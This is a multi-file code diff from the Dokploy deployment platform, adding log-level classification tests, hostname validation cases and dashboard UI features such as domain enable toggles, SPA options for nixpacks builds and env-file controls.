const dokployDashboardEntry = `{"ClientAddr":"172.71.187.131:9485","ClientHost":"172.71.187.131","ClientPort":"9485","ClientUsername":"-","DownstreamContentSize":14550,"DownstreamStatus":200,"Duration":57681682,"OriginContentSize":14550,"OriginDuration":57612242,"OriginStatus":200,"Overhead":69440,"RequestAddr":"hostinger.dokploy.com","RequestContentSize":0,"RequestCount":20142,"RequestHost":"hostinger.dokploy.com","RequestMethod":"GET","RequestPath":"/_next/data/cb_zzI4Rp9G7Q7djrFKh0/en/dashboard/traefik.json","RequestPort":"-","RequestProtocol":"HTTP/2.0","RequestScheme":"https","RetryAttempts":0,"RouterName":"dokploy-router-app-secure@file","ServiceAddr":"dokploy:3000","ServiceName":"dokploy-service-app@file","ServiceURL":"http://dokploy:3000","StartLocal":"2025-12-10T05:10:41.957755949Z","StartUTC":"2025-12-10T05:10:41.957755949Z","TLSCipher":"TLS_AES_128_GCM_SHA256","TLSVersion":"1.3","entryPointName":"websecure","level":"info","msg":"","time":"2025-12-10T05:10:42Z"}`;

View File

@ -35,6 +35,7 @@ const baseDomain: Domain = {
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
describe("forwardAuthMiddlewareName", () => {

View File

@ -151,6 +151,7 @@ const baseDomain: Domain = {
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
const baseRedirect: Redirect = {

View File

@ -9,6 +9,9 @@ describe("VALID_HOSTNAME_REGEX", () => {
"a.b.c.example.co",
"xn--80ak6aa92e.com",
"123.example.com",
"example",
"dokploy-server",
"localhost",
])("accepts valid hostname %s", (host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
});
@ -17,7 +20,6 @@ describe("VALID_HOSTNAME_REGEX", () => {
"bbn_client.example.com",
"-example.com",
"example-.com",
"example",
"exa mple.com",
"example..com",
"",

View File

@ -0,0 +1,108 @@
import { describe, expect, test } from "vitest";
import { getLogType } from "@/components/dashboard/docker/logs/utils";
describe("getLogType", () => {
describe("explicit level declared by structured loggers", () => {
test("JSON string levels (pino, winston, zap)", () => {
expect(getLogType('{"level":"trace","msg":"x"}').type).toBe("debug");
expect(getLogType('{"level":"debug","msg":"x"}').type).toBe("debug");
expect(getLogType('{"level":"info","msg":"x"}').type).toBe("info");
expect(getLogType('{"level":"warn","msg":"x"}').type).toBe("warning");
expect(getLogType('{"level":"warning","msg":"x"}').type).toBe("warning");
expect(getLogType('{"level":"error","msg":"x"}').type).toBe("error");
expect(getLogType('{"level":"fatal","msg":"x"}').type).toBe("error");
});
test("JSON numeric levels (pino, bunyan)", () => {
expect(getLogType('{"level":20,"msg":"x"}').type).toBe("debug");
expect(getLogType('{"level":30,"msg":"x"}').type).toBe("info");
expect(getLogType('{"level":40,"msg":"x"}').type).toBe("warning");
expect(getLogType('{"level":50,"msg":"x"}').type).toBe("error");
expect(getLogType('{"level":60,"msg":"x"}').type).toBe("error");
});
test("syslog/GELF numeric levels", () => {
expect(getLogType('{"level":3,"msg":"x"}').type).toBe("error");
expect(getLogType('{"level":4,"msg":"x"}').type).toBe("warning");
expect(getLogType('{"level":6,"msg":"x"}').type).toBe("info");
expect(getLogType('{"level":7,"msg":"x"}').type).toBe("debug");
});
test("GCP-style severity and ECS log.level", () => {
expect(getLogType('{"severity":"ERROR","message":"x"}').type).toBe(
"error",
);
expect(getLogType('{"severity":"WARNING","message":"x"}').type).toBe(
"warning",
);
expect(getLogType('{"log.level":"error","message":"x"}').type).toBe(
"error",
);
});
test("logfmt levels", () => {
expect(
getLogType('ts=2026-06-12T10:00:00Z level=error msg="boom"').type,
).toBe("error");
expect(
getLogType('ts=2026-06-12T10:00:00Z level=info msg="ok"').type,
).toBe("info");
expect(getLogType("level=warn msg=careful").type).toBe("warning");
});
test("declared level wins over keywords in the message (#4589, #1996)", () => {
// "version"/"GET" in this pino line would otherwise match the debug keywords
const pinoError =
'{"level":"error","version":"72b4450","method":"GET","path":"/api/campaigns","err":{"type":"ForbiddenError","stack":"ForbiddenError: at requireRole (/app/src/plugins/campaign.plugin.ts:166:15)"},"msg":"Forbidden"}';
expect(getLogType(pinoError).type).toBe("error");
// info line containing error-like keywords (#4589)
expect(
getLogType(
'{"level":"info","msg":"Failed to open mempool file. Continuing anyway."}',
).type,
).toBe("info");
// successful job summary with "failed: false, error: none" (#4538)
expect(
getLogType(
'level=info msg="Finished job, failed: false, skipped: false, error: none"',
).type,
).toBe("info");
});
test("declared level wins over statusCode", () => {
expect(getLogType('{"level":"info","statusCode":500}').type).toBe("info");
});
test("unknown level names fall back to keyword detection", () => {
expect(
getLogType('{"level":"verbose","msg":"connection failed"}').type,
).toBe("error");
});
test("env-var-like text is not treated as logfmt level", () => {
expect(getLogType("LOG_LEVEL=error NODE_ENV=production").type).not.toBe(
"error",
);
});
});
describe("fallback detection for unstructured logs (unchanged)", () => {
test("statusCode classification", () => {
expect(getLogType('{"statusCode":500,"msg":"x"}').type).toBe("error");
expect(getLogType('{"statusCode":404,"msg":"x"}').type).toBe("warning");
expect(getLogType('{"statusCode":200,"msg":"x"}').type).toBe("success");
});
test("keyword classification", () => {
expect(getLogType("error: something broke").type).toBe("error");
expect(getLogType("warning: disk almost full").type).toBe("warning");
expect(getLogType("Server listening on port 8080").type).toBe("success");
});
test("defaults to info", () => {
expect(getLogType("hello world").type).toBe("info");
});
});
});

View File

@ -187,7 +187,7 @@ export const ShowClusterSettings = ({ id, type }: Props) => {
To use a cluster feature, you need to configure at least
a registry first. Please, go to{" "}
<Link
href="/dashboard/settings/cluster"
href="/dashboard/docker?tab=swarm&subtab=nodes"
className="text-foreground"
>
Settings

View File

@ -234,7 +234,7 @@ export const HandleRedirect = ({
<FormItem>
<FormLabel>Replacement</FormLabel>
<FormControl>
<Input placeholder="http://mydomain/$${1}" {...field} />
<Input placeholder="http://mydomain/$1" {...field} />
</FormControl>
<FormMessage />

View File

@ -88,6 +88,7 @@ const mySchema = z.discriminatedUnion("buildType", [
z.object({
buildType: z.literal(BuildType.nixpacks),
publishDirectory: z.string().optional(),
isStaticSpa: z.boolean().default(false),
}),
z.object({
buildType: z.literal(BuildType.railpack),
@ -138,6 +139,7 @@ const resetData = (data: ApplicationData): AddTemplate => {
return {
buildType: BuildType.nixpacks,
publishDirectory: data.publishDirectory || undefined,
isStaticSpa: data.isStaticSpa ?? false,
};
case BuildType.paketo_buildpacks:
return {
@ -179,6 +181,7 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
const buildType = form.watch("buildType");
const railpackVersion = form.watch("railpackVersion");
const publishDirectory = form.watch("publishDirectory");
const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false);
useEffect(() => {
@ -224,7 +227,10 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
? data.herokuVersion
: null,
isStaticSpa:
data.buildType === BuildType.static ? data.isStaticSpa : null,
data.buildType === BuildType.static ||
data.buildType === BuildType.nixpacks
? data.isStaticSpa
: null,
railpackVersion:
data.buildType === BuildType.railpack
? data.railpackVersion || "0.15.4"
@ -419,6 +425,30 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
)}
/>
)}
{buildType === BuildType.nixpacks && publishDirectory && (
<FormField
control={form.control}
name="isStaticSpa"
render={({ field }) => (
<FormItem>
<FormControl>
<div className="flex items-center gap-x-2 p-2">
<Checkbox
id="checkboxIsStaticSpaNixpacks"
value={String(field.value)}
checked={field.value}
onCheckedChange={field.onChange}
/>
<FormLabel htmlFor="checkboxIsStaticSpaNixpacks">
Single Page Application (SPA)
</FormLabel>
</div>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
)}
{buildType === BuildType.static && (
<FormField
control={form.control}

View File

@ -63,6 +63,9 @@ export const ShowDeployments = ({
const [activeLog, setActiveLog] = useState<
RouterOutputs["deployment"]["all"][number] | null
>(null);
const [removingDeploymentIds, setRemovingDeploymentIds] = useState<
Set<string>
>(new Set());
const { data: deployments, isPending: isLoadingDeployments } =
api.deployment.allByType.useQuery(
{
@ -81,7 +84,7 @@ export const ShowDeployments = ({
api.rollback.rollback.useMutation();
const { mutateAsync: killProcess, isPending: isKillingProcess } =
api.deployment.killProcess.useMutation();
const { mutateAsync: removeDeployment, isPending: isRemovingDeployment } =
const { mutateAsync: removeDeployment } =
api.deployment.removeDeployment.useMutation();
// Cancel deployment mutations
@ -408,6 +411,11 @@ export const ShowDeployments = ({
description="Are you sure you want to delete this deployment? This action cannot be undone."
type="default"
onClick={async () => {
setRemovingDeploymentIds((deploymentIds) => {
const nextDeploymentIds = new Set(deploymentIds);
nextDeploymentIds.add(deployment.deploymentId);
return nextDeploymentIds;
});
try {
await removeDeployment({
deploymentId: deployment.deploymentId,
@ -415,13 +423,25 @@ export const ShowDeployments = ({
toast.success("Deployment deleted successfully");
} catch (error) {
toast.error("Error deleting deployment");
} finally {
setRemovingDeploymentIds((deploymentIds) => {
const nextDeploymentIds = new Set(
deploymentIds,
);
nextDeploymentIds.delete(
deployment.deploymentId,
);
return nextDeploymentIds;
});
}
}}
>
<Button
variant="destructive"
size="sm"
isLoading={isRemovingDeployment}
isLoading={removingDeploymentIds.has(
deployment.deploymentId,
)}
>
Delete
<Trash2 className="size-4" />

View File

@ -14,6 +14,7 @@ import Link from "next/link";
import { DialogAction } from "@/components/shared/dialog-action";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import { Switch } from "@/components/ui/switch";
import {
Tooltip,
TooltipContent,
@ -35,7 +36,9 @@ interface ColumnsProps {
validationStates: ValidationStates;
handleValidateDomain: (host: string) => Promise<void>;
handleDeleteDomain: (domainId: string) => Promise<void>;
handleToggleEnable: (domainId: string) => Promise<void>;
isDeleting: boolean;
isToggling: boolean;
serverIp?: string;
canCreateDomain: boolean;
canDeleteDomain: boolean;
@ -47,7 +50,9 @@ export const createColumns = ({
validationStates,
handleValidateDomain,
handleDeleteDomain,
handleToggleEnable,
isDeleting,
isToggling,
serverIp,
canCreateDomain,
canDeleteDomain,
@ -249,6 +254,42 @@ export const createColumns = ({
);
},
},
{
id: "status",
header: "Status",
cell: ({ row }) => {
const domain = row.original;
if (!canCreateDomain) {
return (
<Badge variant={domain.enabled ? "outline" : "secondary"}>
{domain.enabled ? "Enabled" : "Disabled"}
</Badge>
);
}
return (
<TooltipProvider>
<Tooltip>
<TooltipTrigger asChild>
<div className="flex items-center">
<Switch
checked={domain.enabled}
onCheckedChange={() => handleToggleEnable(domain.domainId)}
disabled={isToggling}
/>
</div>
</TooltipTrigger>
<TooltipContent>
<p>
{domain.enabled
? "Domain is active. Toggle to disable routing without deleting it."
: "Domain is disabled and not routed. Toggle to enable it again."}
</p>
</TooltipContent>
</Tooltip>
</TooltipProvider>
);
},
},
{
id: "actions",
header: "Actions",

View File

@ -46,6 +46,7 @@ import {
TooltipTrigger,
} from "@/components/ui/tooltip";
import { api } from "@/utils/api";
import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
export type CacheType = "fetch" | "cache";
@ -300,7 +301,12 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
customEntrypoint: data.useCustomEntrypoint ? data.customEntrypoint : null,
})
.then(async () => {
toast.success(dictionary.success);
toast.success(
dictionary.success,
data.domainType === "compose"
? { description: COMPOSE_REDEPLOY_TOAST }
: undefined,
);
if (data.domainType === "application") {
await utils.domain.byApplicationId.invalidate({
@ -337,12 +343,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
</DialogHeader>
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
{type === "compose" && (
<AlertBlock type="info" className="mb-4">
Whenever you make changes to domains, remember to redeploy your
compose to apply the changes.
</AlertBlock>
)}
{type === "compose" && <ComposeRedeployAlert className="mb-4" />}
<Form {...form}>
<form

View File

@ -0,0 +1,19 @@
import { AlertBlock } from "@/components/shared/alert-block";
/**
* Domains attached to a compose service are rendered as docker labels and only
* take effect on the next deployment. These strings keep the "redeploy required"
* wording consistent across the add/edit dialog, the domains list and the
* toasts shown after create/update/delete/toggle operations.
*/
export const COMPOSE_REDEPLOY_HINT =
"Whenever you make changes to domains, remember to redeploy your compose to apply the changes.";
export const COMPOSE_REDEPLOY_TOAST =
"Redeploy the compose to apply the changes.";
export const ComposeRedeployAlert = ({ className }: { className?: string }) => (
<AlertBlock type="info" className={className}>
{COMPOSE_REDEPLOY_HINT}
</AlertBlock>
);

View File

@ -44,6 +44,7 @@ import {
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import { Input } from "@/components/ui/input";
import { Switch } from "@/components/ui/switch";
import {
Table,
TableBody,
@ -58,11 +59,13 @@ import {
TooltipProvider,
TooltipTrigger,
} from "@/components/ui/tooltip";
import { cn } from "@/lib/utils";
import { api } from "@/utils/api";
import { createColumns } from "./columns";
import { DnsHelperModal } from "./dns-helper-modal";
import { AddDomain } from "./handle-domain";
import { HandleForwardAuth } from "./handle-forward-auth";
import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
export type ValidationState = {
isLoading: boolean;
@ -146,12 +149,34 @@ export const ShowDomains = ({ id, type }: Props) => {
api.domain.validateDomain.useMutation();
const { mutateAsync: deleteDomain, isPending: isRemoving } =
api.domain.delete.useMutation();
const { mutateAsync: toggleEnable, isPending: isToggling } =
api.domain.toggleEnable.useMutation();
const handleToggleEnable = async (domainId: string) => {
try {
const result = await toggleEnable({ domainId });
refetch();
toast.success(
result.enabled ? "Domain enabled" : "Domain disabled",
result.requiresRedeploy
? { description: COMPOSE_REDEPLOY_TOAST }
: undefined,
);
} catch {
toast.error("Error updating the domain");
}
};
const handleDeleteDomain = async (domainId: string) => {
try {
await deleteDomain({ domainId });
refetch();
toast.success("Domain deleted successfully");
toast.success(
"Domain deleted successfully",
type === "compose"
? { description: COMPOSE_REDEPLOY_TOAST }
: undefined,
);
} catch {
toast.error("Error deleting domain");
}
@ -200,7 +225,9 @@ export const ShowDomains = ({ id, type }: Props) => {
validationStates,
handleValidateDomain,
handleDeleteDomain,
handleToggleEnable,
isDeleting: isRemoving,
isToggling,
serverIp: application?.server?.ipAddress?.toString() || ip?.toString(),
canCreateDomain,
canDeleteDomain,
@ -265,6 +292,11 @@ export const ShowDomains = ({ id, type }: Props) => {
)}
</div>
</CardHeader>
{type === "compose" && data && data.length > 0 && (
<div className="px-6 pb-4">
<ComposeRedeployAlert />
</div>
)}
<CardContent className="flex w-full flex-row gap-4">
{isLoadingDomains ? (
<div className="flex w-full flex-row gap-4 min-h-[40vh] justify-center items-center">
@ -413,7 +445,10 @@ export const ShowDomains = ({ id, type }: Props) => {
return (
<Card
key={item.domainId}
className="relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit"
className={cn(
"relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit",
!item.enabled && "opacity-60",
)}
>
<CardContent className="p-6">
<div className="flex flex-col gap-4">
@ -466,18 +501,7 @@ export const ShowDomains = ({ id, type }: Props) => {
description="Are you sure you want to delete this domain?"
type="destructive"
onClick={async () => {
await deleteDomain({
domainId: item.domainId,
})
.then((_data) => {
refetch();
toast.success(
"Domain deleted successfully",
);
})
.catch(() => {
toast.error("Error deleting domain");
});
await handleDeleteDomain(item.domainId);
}}
>
<Button
@ -492,15 +516,41 @@ export const ShowDomains = ({ id, type }: Props) => {
)}
</div>
</div>
<div className="w-full break-all">
<Link
className="flex items-center gap-2 text-base font-medium hover:underline"
target="_blank"
href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
>
{item.host}
<ExternalLink className="size-4 min-w-4" />
</Link>
<div className="flex flex-col gap-3 sm:flex-row sm:items-center sm:justify-between">
<div className="w-full break-all">
<Link
className="flex items-center gap-2 text-base font-medium hover:underline"
target="_blank"
href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
>
{item.host}
<ExternalLink className="size-4 min-w-4" />
</Link>
</div>
{canCreateDomain && (
<TooltipProvider>
<Tooltip>
<TooltipTrigger asChild>
<div className="flex items-center shrink-0">
<Switch
checked={item.enabled}
onCheckedChange={() =>
handleToggleEnable(item.domainId)
}
disabled={isToggling}
/>
</div>
</TooltipTrigger>
<TooltipContent>
<p>
{item.enabled
? "Domain is active. Toggle to disable routing without deleting it."
: "Domain is disabled and not routed. Toggle to enable it again."}
</p>
</TooltipContent>
</Tooltip>
</TooltipProvider>
)}
</div>
{/* Domain Details */}

View File

@ -5,6 +5,7 @@ import { useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { CodeEditor } from "@/components/shared/code-editor";
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
import { Button } from "@/components/ui/button";
import {
Card,
@ -16,16 +17,20 @@ import {
import {
Form,
FormControl,
FormDescription,
FormField,
FormItem,
FormLabel,
FormMessage,
} from "@/components/ui/form";
import { Switch } from "@/components/ui/switch";
import { Toggle } from "@/components/ui/toggle";
import { api } from "@/utils/api";
import type { ServiceType } from "../advanced/show-resources";
const addEnvironmentSchema = z.object({
environment: z.string(),
createEnvFile: z.boolean(),
});
type EnvironmentSchema = z.infer<typeof addEnvironmentSchema>;
@ -54,6 +59,12 @@ export const ShowEnvironment = ({ id, type }: Props) => {
? queryMap[type]()
: api.mongo.one.useQuery({ mongoId: id }, { enabled: !!id });
const [isEnvVisible, setIsEnvVisible] = useState(true);
const completionSource = useEnvCompletionSource({
projectEnv: data?.environment?.project?.env,
environmentEnv: data?.environment?.env,
projectId: data?.environment?.projectId,
environmentId: data?.environment?.environmentId,
});
const mutationMap = {
compose: () => api.compose.saveEnvironment.useMutation(),
@ -71,18 +82,32 @@ export const ShowEnvironment = ({ id, type }: Props) => {
const form = useForm<EnvironmentSchema>({
defaultValues: {
environment: "",
createEnvFile: true,
},
resolver: zodResolver(addEnvironmentSchema),
});
// Watch form value
const currentEnvironment = form.watch("environment");
const hasChanges = currentEnvironment !== (data?.env || "");
const currentCreateEnvFile = form.watch("createEnvFile");
const composeData =
type === "compose"
? (data as { createEnvFile?: boolean; sourceType?: string } | undefined)
: undefined;
const showCreateEnvFileToggle =
type === "compose" &&
(composeData?.sourceType !== "raw" || composeData?.createEnvFile === false);
const hasChanges =
currentEnvironment !== (data?.env || "") ||
(showCreateEnvFileToggle &&
currentCreateEnvFile !== (composeData?.createEnvFile ?? true));
useEffect(() => {
if (data) {
form.reset({
environment: data.env || "",
createEnvFile: composeData?.createEnvFile ?? true,
});
}
}, [data, form]);
@ -97,6 +122,9 @@ export const ShowEnvironment = ({ id, type }: Props) => {
postgresId: id || "",
redisId: id || "",
env: formData.environment,
...(type === "compose" && {
createEnvFile: formData.createEnvFile,
}),
})
.then(async () => {
toast.success("Environments Added");
@ -110,6 +138,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
const handleCancel = () => {
form.reset({
environment: data?.env || "",
createEnvFile: composeData?.createEnvFile ?? true,
});
};
@ -176,6 +205,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
} as CSSProperties
}
language="properties"
completionSource={completionSource}
disabled={isEnvVisible}
className="font-mono"
wrapperClassName="compose-file-editor"
@ -190,6 +220,34 @@ PORT=3000
)}
/>
{showCreateEnvFileToggle && (
<FormField
control={form.control}
name="createEnvFile"
render={({ field }) => (
<FormItem className="flex flex-row items-center justify-between p-3 border rounded-lg shadow-xs">
<div className="space-y-0.5">
<FormLabel>Create Environment File</FormLabel>
<FormDescription>
When enabled, an .env file will be created in the same
directory as your compose file on every deploy.
Disable this to keep a repository-provided .env; the
variables above will then be ignored. Takes effect on
the next deploy.
</FormDescription>
</div>
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
disabled={!canWrite}
/>
</FormControl>
</FormItem>
)}
/>
)}
{canWrite && (
<div className="flex flex-row justify-end gap-2">
{hasChanges && (

View File

@ -3,6 +3,7 @@ import { useEffect } from "react";
import { useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
import { Button } from "@/components/ui/button";
import { Card } from "@/components/ui/card";
import {
@ -45,6 +46,13 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
},
);
const completionSource = useEnvCompletionSource({
projectEnv: data?.environment?.project?.env,
environmentEnv: data?.environment?.env,
projectId: data?.environment?.projectId,
environmentId: data?.environment?.environmentId,
});
const form = useForm<EnvironmentSchema>({
defaultValues: {
env: "",
@ -142,6 +150,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
</span>
}
placeholder={["NODE_ENV=production", "PORT=3000"].join("\n")}
completionSource={completionSource}
/>
{data?.buildType === "dockerfile" && (
<Secrets
@ -163,6 +172,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
</span>
}
placeholder="NPM_TOKEN=xyz"
completionSource={completionSource}
/>
)}
{data?.buildType === "dockerfile" && (
@ -185,6 +195,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
</span>
}
placeholder="NPM_TOKEN=xyz"
completionSource={completionSource}
/>
)}
{data?.buildType === "dockerfile" && (

View File

@ -447,14 +447,18 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@ -502,14 +506,14 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>

View File

@ -242,14 +242,18 @@ export const SaveGitProvider = ({ applicationId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@ -298,14 +302,14 @@ export const SaveGitProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>

View File

@ -477,14 +477,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
className="flex items-center gap-1"
>
{path}
<X
className="size-3 cursor-pointer hover:text-destructive"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
field.onChange(newPaths);
}}
/>
>
<X className="size-3 cursor-pointer hover:text-destructive" />
</button>
</Badge>
))}
</div>
@ -531,14 +535,14 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>

View File

@ -47,6 +47,7 @@ import {
} from "@/components/ui/tooltip";
import { cn } from "@/lib/utils";
import { api } from "@/utils/api";
import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
const GithubProviderSchema = z.object({
buildPath: z.string().min(1, "Path is required").default("/"),
@ -96,6 +97,11 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
const repository = form.watch("repository");
const githubId = form.watch("githubId");
// Enterprise repositories do not live on github.com.
const providerUrl =
githubProviders?.find((provider) => provider.githubId === githubId)
?.githubUrl ?? DEFAULT_GITHUB_URL;
const triggerType = form.watch("triggerType");
const { data: repositories, isPending: isLoadingRepositories } =
@ -227,7 +233,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<FormLabel>Repository</FormLabel>
{field.value.owner && field.value.repo && (
<Link
href={`https://github.com/${field.value.owner}/${field.value.repo}`}
href={`${providerUrl}/${field.value.owner}/${field.value.repo}`}
target="_blank"
rel="noopener noreferrer"
className="flex items-center gap-1 text-sm text-muted-foreground hover:text-primary"
@ -438,8 +444,12 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
</TooltipProvider>
</div>
<Select
onValueChange={field.onChange}
defaultValue={field.value}
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
}}
value={field.value}
>
<FormControl>
@ -487,14 +497,18 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
className="flex items-center gap-1"
>
{path}
<X
className="size-3 cursor-pointer hover:text-destructive"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
field.onChange(newPaths);
}}
/>
>
<X className="size-3 cursor-pointer hover:text-destructive" />
</button>
</Badge>
))}
</div>
@ -543,14 +557,14 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>

View File

@ -467,14 +467,18 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
className="flex items-center gap-1"
>
{path}
<X
className="size-3 cursor-pointer hover:text-destructive"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
field.onChange(newPaths);
}}
/>
>
<X className="size-3 cursor-pointer hover:text-destructive" />
</button>
</Badge>
))}
</div>
@ -521,14 +525,14 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>

View File

@ -58,8 +58,12 @@ export const ShowSchedules = ({ id, scheduleType = "application" }: Props) => {
const handleRunManually = async (scheduleId: string) => {
setRunningSchedules((prev) => new Set(prev).add(scheduleId));
try {
await runManually({ scheduleId });
toast.success("Schedule run successfully");
const result = await runManually({ scheduleId });
if (result.status === "error") {
toast.error("Schedule run failed, check the deployment logs");
} else {
toast.success("Schedule run successfully");
}
await refetchSchedules();
} catch {
toast.error("Error running schedule");

View File

@ -114,6 +114,7 @@ export const ShowComposeContainers = ({
<TableHead>Name</TableHead>
<TableHead>State</TableHead>
<TableHead>Status</TableHead>
{appType === "stack" && <TableHead>Node</TableHead>}
<TableHead>Container ID</TableHead>
<TableHead className="text-right" />
</TableRow>
@ -121,8 +122,9 @@ export const ShowComposeContainers = ({
<TableBody>
{data.map((container) => (
<ContainerRow
key={container.containerId}
key={container.name}
container={container}
appType={appType}
serverId={serverId}
serviceId={serviceId}
onActionComplete={() => refetch()}
@ -143,7 +145,9 @@ interface ContainerRowProps {
name: string;
state: string;
status: string;
node?: string;
};
appType: "stack" | "docker-compose";
serverId?: string;
serviceId?: string;
onActionComplete: () => void;
@ -151,6 +155,7 @@ interface ContainerRowProps {
const ContainerRow = ({
container,
appType,
serverId,
serviceId,
onActionComplete,
@ -192,7 +197,13 @@ const ContainerRow = ({
variant={
container.state === "running"
? "default"
: container.state === "exited"
: [
"exited",
"pending",
"preparing",
"starting",
"ready",
].includes(container.state)
? "secondary"
: "destructive"
}
@ -201,96 +212,99 @@ const ContainerRow = ({
</Badge>
</TableCell>
<TableCell>{container.status}</TableCell>
{appType === "stack" && <TableCell>{container.node || "-"}</TableCell>}
<TableCell className="font-mono text-sm text-muted-foreground">
{container.containerId}
{container.containerId || "-"}
</TableCell>
<TableCell className="text-right">
<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Button variant="ghost" className="h-8 w-8 p-0">
{actionLoading ? (
<Loader2 className="h-4 w-4 animate-spin" />
) : (
<MoreHorizontal className="h-4 w-4" />
)}
</Button>
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
<DropdownMenuLabel>Actions</DropdownMenuLabel>
<DialogTrigger asChild>
{!container.containerId ? null : (
<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Button variant="ghost" className="h-8 w-8 p-0">
{actionLoading ? (
<Loader2 className="h-4 w-4 animate-spin" />
) : (
<MoreHorizontal className="h-4 w-4" />
)}
</Button>
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
<DropdownMenuLabel>Actions</DropdownMenuLabel>
<DialogTrigger asChild>
<DropdownMenuItem
className="cursor-pointer"
onSelect={(e) => e.preventDefault()}
>
